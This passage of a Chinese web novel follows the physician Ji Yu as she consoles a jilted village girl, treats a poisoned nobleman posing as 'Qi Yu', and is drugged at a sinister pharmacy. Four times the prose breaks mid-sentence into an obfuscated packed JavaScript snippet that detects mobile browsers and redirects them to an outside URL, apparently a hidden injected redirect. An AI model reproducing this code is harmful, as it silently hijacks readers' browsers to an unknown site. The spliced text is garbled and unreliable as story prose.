季妤心疼地轻轻拍了拍刘芸地脊背,安慰地劝道:“你别把这话放心上,他纯纯在放屁,他自己丑得像只□□,与你有婚约时他就是癞□□想吃天鹅肉,现在退了婚,你应该高兴摆脱了这个丑人才是,要不然结婚后一辈子对着这么个丑人,晚上不得做噩梦?” “……”刘芸抬起头来,哭声渐渐止住,但眼眶里还是蓄满了泪水,她看着季妤,满眼委屈,“可我被退了婚,建平哥都不要我了,谁还会要我,更何况,村子里闲言碎语地把我说得那么难听,说,说我被人糟蹋了,不干净,不知廉耻地还敢回来,不如绞了头发去山上做姑子去。” 季妤在心里腾地烧起了一把火,所以刘芸才会突然把自己头发剪成这样吧? 这些恶毒的言语就是导致刘芸再受刺激的原因。 事情应该是这样的:起初刘芸本来渐渐好转了,她并没有因为被杜聪掳去受了欺负就自暴自弃,反而很是通透,认为自己是无辜的,是受害的一方,而作恶的是杜聪等人。 偏偏昨日与刘芸有婚约的刘建平和他妈上门来退婚,刘建平他妈说话很是恶毒,张口闭口就是刘芸脏了不干净了,配不上她儿子,而一旁的刘建平就看着自己妈怎么骂刘芸骂得那么难听。 刘老头和刘婆气得险些晕倒,自己当宝贝似的孙女被人这样贬低谩骂,亏得他们之前还以为刘建平和他妈好歹是识字的,是知礼的人,没想到刘建平妈骂人这么歹毒,简直像是泼妇,而刘建平懦弱虚伪的样子简直让人作呕。 亲事当场就退了,这种亲家早摆脱早好,省得到时候刘芸嫁过去了日子也不会好过。 刘老头和刘婆深知这一点,因此便同意了退亲,还把刘建平母子俩拿扫帚轰了出去,刘建平她妈气不过,到处添油加醋传刘芸怎么怎么样。 这事发生时,刘芸正好醒了,因此便全都听到了,她大受打击,没想到和自己青梅竹马感情很好的刘建平在他娘骂自己时一声不吭,不为她辩解一二。 她知道他一向听他娘的话,只是没想到竟懦弱成这样。 可那时她还对着他抱着一丝希望,她自己给自己洗脑,至少他娘骂她时他没有跟着附和,他沉默着虽然可恶,但他好歹没有开口骂她。 或许他只是不敢忤逆他娘的话,毕竟他娘脾气火爆,又独自带大的他,还让他读了书认了字,他心里感激他娘,所以对她言听计从。 这些刘芸都能理解,她怀揣着这份希望,打算和刘建平好好谈一谈,她趁刘老头和刘婆不注意,偷偷溜了出去找刘建平,却在他家门口听到了他在他娘面前把她贬低得比妓子还要不堪。 刘芸又气又难过,魂不守舍地走在回家的路上,又被村民一路指指点点,终于,刘芸坚持不下去,“哇”地吐出一口鲜血,晕死过去,最后被来找她的刘老头和刘婆背回了家。 季妤看着刘芸认真道:“那你觉得他们说你说得对吗?那些话是真的吗?” “不,不是真的!”刘芸疯狂摇头,情绪有些失控,季妤手腕一痛,下意识垂头去看,发现是刘芸将她的手紧紧地抓着,抓到了她的手腕上的伤痕。 季妤忍不住皱了眉,耐心劝道:“既然不是真的,那你那么在意做什么,嘴长在他们身上,他们说什么就说呗,反正你知道这不是真的就够了。” “可是……”刘芸脸色复杂地看着季妤,唇色泛白,喃喃道:“这些话很难听,很难听……我知道他们说的不对,可我还是很生气,他们不了解事情真相,为什么要这么说我。” “因为他们没有经历你这样的事,板子没打在他们身上,他们不知道痛,也不会感同身受。他们知道只要动动嘴皮子就能让人难过伤心,所以他们更加肆无忌惮,你若是因此难过,封闭自己,自我埋怨,那不就是顺了他们心意?”季妤将声音放得更轻,语气更加柔软。 她见刘芸表情有些动容,知道她正在听她说的话,也肯定她会听进去,于是继续道: “他们的目的得逞了,他们毫发无损,而你被这些流言蜚语伤得遍体鳞伤,不只你伤心难过,那些爱着你的人也伤心难过,就像刘爷爷和刘婆婆,他们看到你这样,心里也很难过。” 提起了爷爷和奶奶,刘芸才止住的眼泪又忍不住落了下来。 “姑娘,你说……”刘芸抬起头来,泪眼婆娑地看着季妤,“我该怎么办?” 季妤从怀中取出一方手帕,轻柔地给刘芸擦拭眼泪,她很温柔地笑着说:“摆脱了丑男,妈宝男,渣男,你应该感到高兴才对。” “至于那些嚼舌根的村民,你更不用在意,你不往村子里去,那些流言蜚语传不到你耳朵里,若是他们胆敢跑来你面前嚼舌根,你只管打出去就是,而且只要好好活着,把生活过得越好,他们越气急败坏,偏偏又奈何不了你,这样岂不是最好的反击?” 见刘芸情绪平静下来,也慢慢地止住了眼泪,季妤便知道了她是听进去了她说的话,只希望她不要再被这些流言蜚语所侵扰。 语言暴力从来都不曾消失,稳住自己的心态才是对造谣者最好的反击。 季妤临走前嘱咐了刘老头和刘婆,让他们看着点刘芸,不要让她出门,要想好得快,就要先隔绝流言蜚语的中伤。 等她慢慢想通,也等她心脏慢慢变大,能够承受得住这些事情,到时候不管别人怎么说她,骂她,她都能无视,甚至还能一笑而之。 …… 季妤回到家时,已经太阳落山,她身心俱疲,已经累到不想说话,只想好好躺在床上睡一觉。 可才踏进院子,本来还躺在躺椅上看话本的连翘腾地一下起身朝季妤奔去,给了她一个熊抱,外加一张哭丧的脸。 “怎么了,愁眉苦脸的。”季妤摸了摸连翘的头,好笑地问。 “小妤,那个祁公子发病时太可怕了,你怎么敢把他留下的啊,你快把他赶走,否则他失控杀了你怎么办!”连翘回想起季妤走后发生的事,就心有余悸,她将脸深埋在季妤的胸前,声音闷闷地传出。 季妤听见这话,忙把连翘从怀里扯开,然后拉着她看了一圈,不停地担心问:“你没事吧,有没有受伤?” “我没事,我按照你说的,他发病后我见状况不对劲,就把他锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726718|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面了,等他消停了我才敢打开一点窗,顺着一丝缝隙往里看了看,发现他跌倒在地上。” 连翘有些愧疚道:“小妤,对不起,我实在害怕,怕他再突然发作起来,所以我没敢进去,也没把他扶起来,他现在可能还躺在地板上昏迷不醒。”连翘越说越小声,小心翼翼地瞅了瞅季妤。 季妤笑着点了点连翘的额头,无奈道:“你可是我的好姐妹,我怎么会因为这事怪你?” “你这样做是对的,正确的,首先保证自己的安全才是最重要。” 连翘抿了抿唇,“小妤,要不还是把他赶走吧,他不像个好人。” 季妤沉默了一会儿,最后点头半妥协道:“我先找找看有没有可以解他身上的毒的办法,或者能抑制住他的蛊毒,若是找不到办法,我再让他走。” “他现在这个样子赶他走的话,无疑就是要他死。”季妤有些不忍心,好歹是她亲自捡回来的人,她身为大夫,应该对这个病人负责。 “好吧。”连翘闷闷地点头。 季妤捏了捏连翘肉嘟嘟的脸,笑道:“天色不早了,你快回去吧,不然你娘该担心了。” 连翘嘟囔道:“她才不会担心我呢,她巴不得我死在外头。” 季妤无言,只得再次摸了摸连翘的头,转移了话题,“对了,醉仙楼的饭菜你吃了吗?” 连翘点头,季妤又笑着问:“如何?” 连翘笑着回道:“可太好吃了,不愧是醉仙楼的饭菜,果然名不虚传。” “你喜欢就好,下次我带你去醉仙楼吃。” “那我先回去了,明天去医馆吗?”连翘依依不舍地看着季妤。 “去,已经歇业好几天了,是时候重新开业。” “好,那我们明天医馆见。” 连翘说完朝季妤挥了挥手,然后便走了。 季妤疲惫地揉了揉太阳穴,看着那间屋子有些心累,她打起精神来走了过去,门上了锁,钥匙就放在门上挂着,她取下钥匙把锁打开,然后推开门走了进去。 南星昏迷不醒地躺在地板上,发丝凌乱,遮住了大半张俊美的脸。 季妤将发丝掀开,看到了他半张脸都沾染上了鲜红的血,血已经干涸,形成一道道红色印记,与脸上因为蛊毒发作而生出的红色纹路很是相似。 季妤颤抖着手指探在南星的鼻子下方,察觉到一丝气息后才终于松了口气。 “还好没死。” 好歹是男二,主角团之一,不可能那么快就死掉。 季妤艰难地扶起南星,把人扶到床上,然后准备好银针,打算给他扎几针稳住心脉,也为了抑制毒素。 约莫一刻钟,季妤收了银针,又给他灌下一碗药,再过了一刻钟后,南星终于幽幽转醒。 季妤强撑着疲惫,努力地睁着沉重的眼皮,展开一抹笑,看着南星道:“你醒了啊,现在感觉怎么样,还难受吗?有没有好一点?” 南星看着季妤憔悴的面容,以及那强撑的疲倦感,心里说不上是什么滋味。 他只知道季妤对他太好了,明明知道他蛊毒发作时很可怕,发狂时失去理智可能会失手杀了她,可她还是因为他的伪装而善良地将他留了下来。 她没有和她的好姐妹连翘一样,因为害怕而把他关起来,不管他的死活,连翘的做法才是正常人的做法,保证自己的安全才是最重要的,这一点换做是他,他肯定也会和连翘一样,对能危害自己性命的人或事物都会躲得远远的。 可季妤却如此不同,她明明也害怕他发病时的样子,但她还是愿意靠近他,给他施针,给他喂药,给他治疗,甚至为了替他解毒,还彻夜翻阅医书,昨晚上对面的灯亮了一夜,而他看了一夜。 “你怎么了,可是头还晕?”见南星盯着她一动不动,甚至眼睛都没眨一下,季妤以为他身体不舒服或者头晕,忙在他面前挥了挥手,担心地问道。 谁知下一刻,一双冰冷的手握住了她的手腕,力度有些大,季妤忍不住发出“嘶”的气声,手腕上的伤又再次被弄疼了,季妤实在无奈。 “抱,抱歉,我弄疼你了吗?”南星慌乱地收回手,有些局促地看着季妤。 28. 家中来信 “抱,抱歉,我弄疼你了吗?”南星慌乱地收回手,有些局促地看着季妤。 “啊,没事,不是你弄的。”季妤小心地揉了揉手腕,那里火辣辣的烧灼感让人忍不住皱起了眉。 南星视线落在季妤的手上,那只被他刚刚捉住的手,手腕上有几条红痕,在娇嫩白皙的肌肤上很是明显,出门前手腕还是好好的,回来后就多了几条伤痕。 他不自觉地眯起眼,紧紧地盯着季妤的眼睛,缓缓开口,问:“谁弄的。” 语气有些冷,还有他自己都没察觉到的一丝隐隐约约的杀意。 “什么?”季妤一时没反应过来他说的什么意思,什么什么谁弄的。 南星耐心地,认真地又问了一遍,“你手腕上的伤谁弄的。” “哦,这个啊。”季妤不甚在意地看了看自己的手,“刘婆婆着急孙女情况,所以拉着我时没控制好力道,手腕只是红了些,没什么要紧,回头我涂点膏药,一两天就能好了。” “季姑娘,我没事了,你回去休息吧。”看着季妤疲倦的脸,南星抿了抿唇,道。 “已经到晚上了,你还没吃晚饭呢,我去烧热水做晚饭。”说罢,不等南星开口,季妤便起身离开去了厨房。 若是家里就她一个,她可能就随便应付一下,吃些糕点就准备睡觉休息了,可如今家里不同,有了个人。 此人还是个金大腿,委屈了自己,也不能委屈了他,有投资就会有回报,前期她辛苦点,后期她就能过上好日子。 所以她断然不能让人饿着,也不能让人脏着不擦洗,就算她现在累得全身绵软无力只想趴着不动,她也得强撑着起来去做晚饭,烧热水。 今晚就吃面吧,面条煮得快,耗时短,吃完就可以赶紧去休息了。 就在她开始下面条时,鹅在窗子外边“嘎嘎”地一直叫唤,吵得季妤起了一肚子火,本来就累得不行,还被鹅吵得脑瓜子嗡嗡。 她三步并作两步跑到窗子上探头去看。 正准备骂那只鹅,突然就看到上空一道迅猛的飞影闪过,速度之快令人咋舌,借着月色,季妤只看到好像是什么鸟类,难怪那只鹅一直叫个不停。 季妤视线落在鹅身上,鹅察觉到她在看它,猛地停止了叫声,屁颠屁颠地扑棱着翅膀朝她跑来。 季妤探出一只手臂,鹅也伸长了脖子往上扬起脖子,季妤正好能碰到它的头,于是她不轻不重地拍了拍它的小脑瓜子,然后笑骂它,“不就是一只鸟吗?人家只是飞过,而且也只是路过,你突然急什么,还叫个没完没了,你知不知道你的声音有多难听啊!” 季妤戳了戳鹅的嘴,鹅被教育了,心里不服又是“嘎嘎”叫了起来,季妤气急,捏住了它的嘴,威胁道:“再随便嘎嘎乱叫,就把你的嘴绑起来。” 季妤松开鹅嘴,鹅委屈地看了季妤一眼,怕季妤真的绑起它的嘴,又扑棱着翅膀跑开了。 这边南星收到了翎鸽带来小姐的信,除此之外还有一颗药丸。 这颗药丸是抑制他体内蛊毒发作的药,只要吃了这颗药丸,那么接下来的一个月,他都不会再发病。 南星将信搁在桌上,没有像之前一样只要小姐来信就迫不及待地看,他只细细地看着手里捏着的药丸,想着该怎么处理它。 吃还是不吃? 吃,他会好受许多,可是季姑娘会觉得他蛊毒不再发作了,就会让他走,根据季姑娘和连翘所谈的话中,他知道季姑娘动摇了让他留下来的心思。 她有想让他走的想法。 不吃,他会难受,在季姑娘没找到抑制蛊毒的办法之前,他会时不时再发病,会不可控制,失去理智地伤害季姑娘。 苦涩的药丸进入口中,很快融化被吞入腹中。 他选择吃下药丸,做出这个选择时,他不禁有些嘲讽自己,他这样的人何时这样优柔寡断过,他可向来不是心善的好人,手上沾的血也有不少。 虽说手上沾了不少血,但也至今没沾染过无辜之人的血,因此,他也不算什么罪孽深重的恶人吧,南星不禁在心里反问了自己一句。 口腔里弥漫着着苦涩的味道,这股苦涩比季姑娘端给他的汤药还要苦上不少,南星忽然想吃季姑娘给的蜜饯了,可她给的,都吃完了。 最终他给自己倒了一杯热茶,等口中的苦涩渐渐变淡,他才拾起桌上的信拆开,先是仔细地看完,才将信纸放在烛火上燃烧。 小姐要来青州了。 南星冷漠地看着烧成灰烬的信纸,将灰烬倒入杯子里,然后一饮而尽。 他提笔沾墨,若有所思了一会儿,最后缓缓落笔,写下一封信。 季妤已经煮好了面条,她盛了一碗端去给南星吃。 一进门,便看到南星靠坐在床上,手里捏着一封信,看到她后,一副欲言又止的样子。 “你怎么了?有话直接说就行。”不管是什么诉求,只要她能办到的,她就能去做。 南星将手中信递给季妤,“家中来信了,给我带了抑制蛊毒的药,我现在已经吃下药丸,一个月之内不会发病。” 季妤一听这话,自然地拉过南星的手把脉,惊讶道:“蛊毒还真的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766121|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被抑制住了!” “你应该先给我看看这药丸的成分然后再吃,这样我就能根据药丸的成分寻找解蛊毒的办法了。”季妤颇为可惜地看了南星一眼。 南星懊恼道:“对不起,我忘了,我只想着赶快吃了药丸抑制蛊毒,我不想自己再发病伤害季姑娘你。” 见他是为她着想,季妤即使觉得有些可惜,但也没好意思再埋怨什么。 她垂头看着面前的信,有些迟疑地伸出手,这是要给她看信的意思吗?递到她面前了,应该就是要她看的吧。 可既然这是家中来信,她一个外人看不太合适吧。 季妤抬眼看了看南星,南星抿唇微微一笑,道:“季姑娘看看吧,里面有提到季姑娘。” “欸?提到我了?”季妤微微一惊,半信半疑地接过信拆开看了看。 里面除了关心祁钰的伤势,还说过几日就会来青州,他的亲信要来青州吗?是不是要接祁钰回去? 其实算算时间,原书中这个时候祁钰确实伤好得差不多了,然后没多久就被亲信接回京城了。 可现在祁钰和原书不同,身上的伤比她第一天捡他时还要严重一点。 她没有把他伤治好,到时候就算他回去了,恐怕也不可能给她百两黄金和一套宅子了吧? 不过就算没有像百两黄金那么高的报酬,给个三百两让她把债还了总是能给的吧?好歹是个皇子。 边想着,季妤边往下看,里面果然提到了她,说感激她救了祁钰,届时来到青州,定要好好感谢她一番。 看到这里,季妤高兴了。 她将信叠好又递回给南星,脸上带着笑意,“你家人也真是客气,救死扶伤本就是大夫职责,说什么感谢不感谢的话。” 季妤的这番客套话,南星怎么会听不出来? 就冲季妤看到信后脸上浮现的笑容,他也能看出来季妤在看到信中说要报答感谢她后,她很是高兴。 她一向不会掩饰,心里想着什么都表露在脸上。 南星微微一笑,“季姑娘救命之恩,就是千金也难以报答这份恩情。” 季妤眼睛瞬间瞪大,啥?千金,他要报答她千金? “只是家中虽是做生意的,奈何不是我自己当家,因此虽说千金拿不出来,但为报答姑娘,几百两还是能拿出来的。” 从千金到百两黄金再到几百两,落差有点大啊,季妤眼睛眨了眨,几百两也好,对于普通人来说,这几百两够活好几辈子了,她季妤是个知足的人! 季妤嘿嘿一笑:“祁公子太客气了。” 29. 随便捡男人 季妤嘿嘿一笑:“祁公子太客气了。” 南星嘴角上扬,眉眼是藏了些许旁人不易察觉的笑意。 季姑娘似乎很喜欢钱,在听到他说要报答她几百两银子时,眼睛放光的样子灵动有趣,活脱脱像个小财迷。 而且嘴上说着太客气了,其实心里想的可一点都不客气,在他刚提出几百两银子时,她的表情先是微微失望,然后才是高兴。 这就说明她心中想的可比他提出的几百两要多。 她可真敢想,几百两够普通人家吃香喝辣好几辈子,她怎么就断定她救了他,他就一定会给她这么多银子以报答她的救命之恩? 万一他是个忘恩负义的小人呢? 季姑娘还是太单纯善良了,太容易相信别人,虽然她在救他这事上赌对了,毕竟他真的不会忘恩负义,答应给她几百两银子的事他说到做到,但他能做到,换做别人可就不一定。 万一之后他走了,季姑娘又从哪里捡了个受伤的男人,而那个男人是个阴险狡诈,诡计多端又忘恩负义的人,那季姑娘岂不是危险。 南星觉得有必要适当地提醒季姑娘,让她不要轻易地捡受伤的男人回家,这很危险。 “季姑娘,等我的家人来到青州后,我应该就要走了,在此之前我想提醒季姑娘,以后最好不要随便捡受伤的陌生男人回家,这对于你这样的独居女子很危险。”南星说得很认真,是真心地在劝告季妤。 季妤听了这话,很是感动,祁钰不愧是温润如玉的谦谦君子,人品真的很好,他还提醒她这些事,说明他有站在她的角度去思考她的处境。 但是身为大夫,若是真的又遇到了一个受伤的人,不管男人女人,她真的能做到见死不救吗? 按照她的性格,她是有善心的,但她的善心仅够让她给那个受伤的人当场上药包扎,然后留下一些药就走;又或者叫来别的医馆的人来接他去医馆治疗,除此之外,她并不会无脑到把人捡回家里去。 之所以捡祁钰回去,是她早有预谋,带着目的去捡,也因为熟知书中剧情,对祁钰人品了解,因此才会毫无顾忌地将人捡回家去。 看到南星一板一眼认真的模样,季妤起了逗弄他的心思,她装作不懂道:“欸,受伤的陌生男人不能捡的话,那我可以捡受伤的陌生女人吗?” 南星一愣,忙道:“当然也不能,受伤的陌生男人女人都最好不要捡。” “因为你不知道他们是些什么人,他们有可能是好人,但也有可能是坏人,一旦他们是坏人,季姑娘你就会有危险。” 季妤忍着笑意,又继续装作一副恍然大悟的样子,道:“那我之前是不是不该捡你,你现在说的和你之前的状况可是一模一样,受伤的陌生男人……” 季妤着重加重了后面“受伤的陌生男人”这几个字,然后笑看着南星。 本以为能在他的脸上看到一丝丝尴尬的表情,毕竟他自己推翻了自己说的话。 谁料到他十分认真地点头认可她的话,然后道:“在没确认我是好人还是坏人之前,季姑娘确实不该捡我。” 我可是确认了你是个好人才捡你的,季妤默默地在心里补充了一句。 季妤沉默了一会儿,然后反驳道:“可我要是不捡你,你死了怎么办?” 祁钰死不了的,就算没她捡,也会有原书中的村女捡他,然后把他医治好。 但祁钰本人又不知道,她就是想反问他,若是不捡他他就会死,他还会坚持他的那番言论吗? 他会不会很自恋地觉得自己是个好人,觉得她应该捡他,捡他没有坏处,但捡完他之后就不要捡别人,因为别人可能不是好人。 但他只淡淡道:“死了便死了,人总要死的,只是早死一点和晚死一点的区别而已。” 季妤有些惊讶,没想到听到的是这样的话,祁钰这么看淡自己生死的吗? 季妤一时都不知道说什么了,半晌后端起一旁桌上放了有些时间的面条,干巴巴地道:“快吃面条吧,放得有些久了,都有点坨了。” 等南星吃完面,喝完药,季妤又打了一盆温水给他简单地擦洗了一下,然后给他换好药重新包上新的纱布后便终于回到了自己的屋。 她困得上下眼皮在打架,但她还是强撑着睁开眼睛,拿着一本医书钻进被窝,打了个哈欠翻到上次看到的那页继续往下看。 “期末考试也没见我这么努力地复习啊,还挑灯夜读上了,这还是考试前一晚还在看小说的我吗?!”季妤简直都有些怀疑自己是不是自己了。 …… 翌日清晨,是个明媚的一天。 季妤从床上蹦起来,拿起一旁的医书就直冲南星那,火急火燎地停在门口,整理了一下激动的情绪,然后轻轻地叩响了门。 “祁公子,你醒了吗?” 季妤等了一会儿,才听到里面传来布料摩擦和翻被子的声音,紧接着传来南星微哑的嗓音。 “季姑娘进来吧。” 季妤推门而入,便看到南星已经穿好外衣靠坐在床榻上,只是脸色灰暗,嘴唇泛白,发丝凌乱散落胸前,好一个病美人。 季妤看到此景不由得在想:若是白皮肤的话,倒真有些娇弱病公子模样,只可惜他偏偏肤色略深,没有只可远观不可亵玩的谪仙美感,却多了几分世俗的欲念,让人不想远观,只想近看…… 季妤这般想着,眼神自然就一直停留在南星的身上,而他的一双好看的琥珀色凤眸也缓缓抬起,轻飘飘地落在她的身上。 季妤能感觉得到他的视线,从她走进来的那刻,他便一直盯着她看。 季妤上下左右看了看自己的着装,以为自己是穿错衣服了,还是哪里有脏东西,否则他一直盯着她做什么? 可仔细看了一遍自己身上也没发现有什么不妥的地方。 她是个有话直说,有不解的就直接问的人,所以她直言不讳地问南星:“祁公子,你一直看着我做什么?我脸上这次没有碳灰了吧?” 她一起来便往这里来,还没去厨房烧火做早饭,不可能脸上又沾碳灰。 南星轻咳一声,偏了偏头,眼神不自然地躲避着季妤的眼睛,从她进门起,她的脸上就一直挂着笑,笑容太过明媚美好,很难不让人注意,他在看到这个笑容时,便情不自禁地被吸引。 等反应过来后他才发现自己的举动有多么冒昧,他心里有些懊恼,他向来不是个喜形于色的人,可在这里短短的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788704|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日,他变得有些不像原来的他。 他不知道这种改变对于他来说是好还是不好,大概是好的吧,他默默地想。 毕竟他在这里说过的话比他十年来说的话的总和还要多。 “季姑娘脸上没有碳灰,衣服也没有穿错。”南星看到季妤一闪而过尴尬的笑容,忍不住轻笑道,“我只是好奇季姑娘这么高兴地来找我是为何事。” 季妤一扫方才被南星识破举动的尴尬之色,高兴地走到床榻边朝他扬了扬手里的医书,“我知道怎么解你箭伤的毒了!” 原来是为这事,南星弯了弯唇,这是他的事,而她为了他的事这般高兴。 “你看这个描述,就是你箭伤上的毒的特征。”季妤翻开有记载的那页,指着一处对南星道,“这种毒叫五蛇散,就是五种剧毒蛇混合炼制而成,中此毒者,从五脏六腑开始烂,直至全身溃烂而亡。” “制作解药的药材倒不算稀奇,都是寻常药铺医馆里能买到的,就是需要的药材多而杂,制作过程也麻烦,需要五种毒蛇的蛇胆、紫苏叶二钱、燕窝二两……等三十多种,需要费些时日。” “不过我会尽快买齐这些药材的。”季妤保证道。 “嗯,我相信季姑娘。” 季妤咧嘴一笑,被病人信任着的大夫是多么感到欣慰和开心啊! * “连翘,今天太阳很好,把药柜里的药材拿出来晒晒,前几日时不时的下雨,恐怕药柜的药材都要发霉了。” “知道啦。”连翘应下一声便跑去晒药材了。 季妤坐在柜台上,翻开着药材册子,想着从自家药铺里先找出解毒的那几样药材,到时候缺什么就去别的药铺医馆里买。 季妤把自家药铺有的药材写了下来,一刻钟后找到了十几种药材,但还缺十几种药材。 这缺的十几种药材别的都好说,其它药铺医馆准有卖的,就是这五种毒蛇蛇胆却是难找,书中记载,不用非得是炼制毒药的那五种剧毒蛇的蛇胆,只要是毒蛇蛇胆就都可以。 若是药铺医馆都没得卖,那么她就只好自己去林子里抓蛇取蛇胆了。 “小妤,药材我都搬到后院去晒了,有些发霉严重的我就扔了。” “嗯,有哪些药材比较缺的?” “有,田七、麦冬、川穹、白芷……” 随着连翘一一念着,季妤便一一写下来,待会儿直接去药材铺里购进一些。 “连翘,你在这儿看一下,我去采购药材。”季妤将写好的单子塞进自己随身背着的小布包,吩咐了连翘一句便走出了济世堂。 花了一个时辰,找了四五家药铺医馆,终于把剩下的十几种药材都找齐了,而且毒蛇蛇胆也找到了两个,现在就只差三个毒蛇蛇胆,就能开始炼制解药了。 南市、西市、东市都找遍了,只又找到了一个毒蛇蛇胆,现在就只剩北市还没有找。 北市是离南市最远的市,南市是青州最繁华的地方,那么北市正好相反,那里多是些贫苦百姓居住,且地痞流氓混混多,治安也不算太好。 她一个弱女子贸然前往,其实是很危险的,需得有人陪同前去才行。 那么就花钱雇一个保镖吧。 30. 奇怪药铺 那么就花钱雇一个保镖吧。 北市西街,一家还算大的药铺门外停了一辆不怎么起眼的马车。 许是马车不怎么起眼的原因,就算这北市鲜少有马车出现在大街上,也没有多少人因为好奇而驻足观望,这对季妤来说是好事,毕竟北市向来不算太平。 至少比繁华的南市来看是这样的。 季妤下了马车,此行是扮做男子装扮,与在青楼时画师装扮又有所不同,此次更加朴素,走在人群里都能与本地人融为一体的程度。 季妤下马车后,又有一肥头大耳壮汉紧随其后下了马车,此人便是季妤花了二两银子雇的保镖,薛家镖局薛五。 就是那日被刘老头诬陷毒了他鹅的那个薛五。 “季姑娘,这药铺……” 季妤回头瞪了他一眼,小声道:“你还叫我季姑娘呢,直接叫我季宇。” 薛五反应过来自己差点暴露了季妤的身份,于是赶紧改口道:“季宇,这家药铺有点不大对劲。” 说罢左右环视了一圈,将整个药铺的大堂纳入眼里,只是这越瞧,眉头就皱得越紧。 季妤点头,她家就是开药铺的,南市药铺医馆也有不少,药铺是什么构造,里面什么情形和氛围她都清楚得很。 这家药铺叫周记药铺,很普通的店名,是以主人家的姓氏而取的。 里面构造和装修都与一般药铺没什么区别,这不是奇怪所在,怪就怪在里面的人。 柜台上的掌柜,药柜里的抓药包药的老大夫,以及捣药磨药的那些药童,自从季妤和薛五进来后,皆是瞪着一双眼直勾勾地盯着他们两个瞧。 眼神好像看到猎物似的迸发光芒,紧紧地黏在她俩身上。 季妤被看得不舒服,直接转身就要走,柜台前的掌柜生怕送入虎口的猎物跑了,忙跑到季妤面前就要拦下,却被一旁五大三粗满身肥肉的薛五一瞪,给瞪得缩了缩脖子。 “小公子留步,可是要看病还是要抓药?我们药铺什么药都有,大夫也都是医术高明的,不管是什么疑难杂症,我们这的大夫都能治。” 这口气好大,就算是南市最好的医馆都不敢说出什么疑难杂症都能治的大话,真当大夫是神仙,啥都能治? 这一看就是忽悠人的,可他忽悠人做什么? 必定有什么猫腻。 季妤脚步顿住,回过身来看着那个掌柜,是个大约三四十岁,红润的嘴隐藏在浓密的胡子里,脸型瘦削,脸皮干瘪,豆大的小眼睛看着季妤时流露出一丝精芒。 “你们这有蛇胆吗?毒蛇蛇胆。” 掌柜的略微思考了一下,眼睛一亮,忙道:“诶,还真有一个,昨天有个猎户打了一条毒蛇过来,蛇胆是很好的药材,所以我们药铺是收这种的。” “小公子要的话,可以里面稍作片刻,喝喝茶,我这就去取来。”说罢,掌柜的积极地示意着季妤往里面去。 季妤想了想,偏头与薛五对视一眼,薛五朝她点了点头,季妤知道了薛五的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季妤眉心微动,察觉到有人在靠近,正俯身注视着她的脸,就在她被盯得要破功的时候,那道视线从她脸上移开了,紧接着便听到了一句话。 “他俩确定都倒了?” 是那个掌柜的声音。 “您放心,我亲眼看到他们把下了蒙汗药的茶水喝下后,看到他们都倒了我才叫您来的。” 这是之前那个给她们倒茶水的伙计的声音。 季妤屏住呼吸,竖起耳朵接着往下听。 “你赶紧去把孙大夫请过来。”掌柜道。 一阵脚步声离去,室内便又安静下来,季妤察觉到了掌柜似乎坐了下来,然后好整以暇地给自己倒了一杯茶。 这茶应该与她和薛五喝的不同,因为这个掌柜没有倒下,反而在等那什么孙大夫到来之前又连喝了两杯。 许是孙大夫离这里有些距离,等掌柜的喝完第三杯茶后仍然没有来后,于是季妤能明显地感觉到掌柜起身又凑到她的面前,盯着她看了一会儿。 季妤心里很是紧张,装晕这件事她不太擅长,她是一个被人盯着看了超过三秒就会不自觉躲避视线的人,因此对于现在这个掌柜一直盯着她脸看的情形,她是很煎熬的。 她强迫自己的眼皮不要乱动,就在忍耐已经到达极限时,视线终于消失了,不再停留在她的脸上。 “看着细皮嫩肉的,倒像是哪个有钱人家的小公子,只是这穿着打扮实在朴素,让人一时又觉得不像有钱人。” 掌柜迟疑地声音在室内响起,他自言自语般,她和薛五皆是昏倒状态,室内除了他是清醒的,也没人可以回答他。 “若是穷人就好办,若是有钱人家的,反而不好办。不过看他这样子,或许不算多穷苦,但也不算什么有钱人家,动他的话,应该不会有什么隐患。” 季妤眉心微动,这话倒是奇怪了些。 若是这家药铺是黑店,无非就是图财,可那掌柜的却说什么若是穷人就好办,若是有钱人家的反而不好办。 那么就不是图财了,那图什么? 季妤听到了衣料摩擦的声音,耳边传来一阵风,是掌柜蹲下了身子。 估计是在看昏倒在地上的薛五。 “啪啪。”清脆的声音传来,季妤悄悄掀起一丝眼皮,视线往下,看到掌柜的伸手拍了几下薛五的脸。 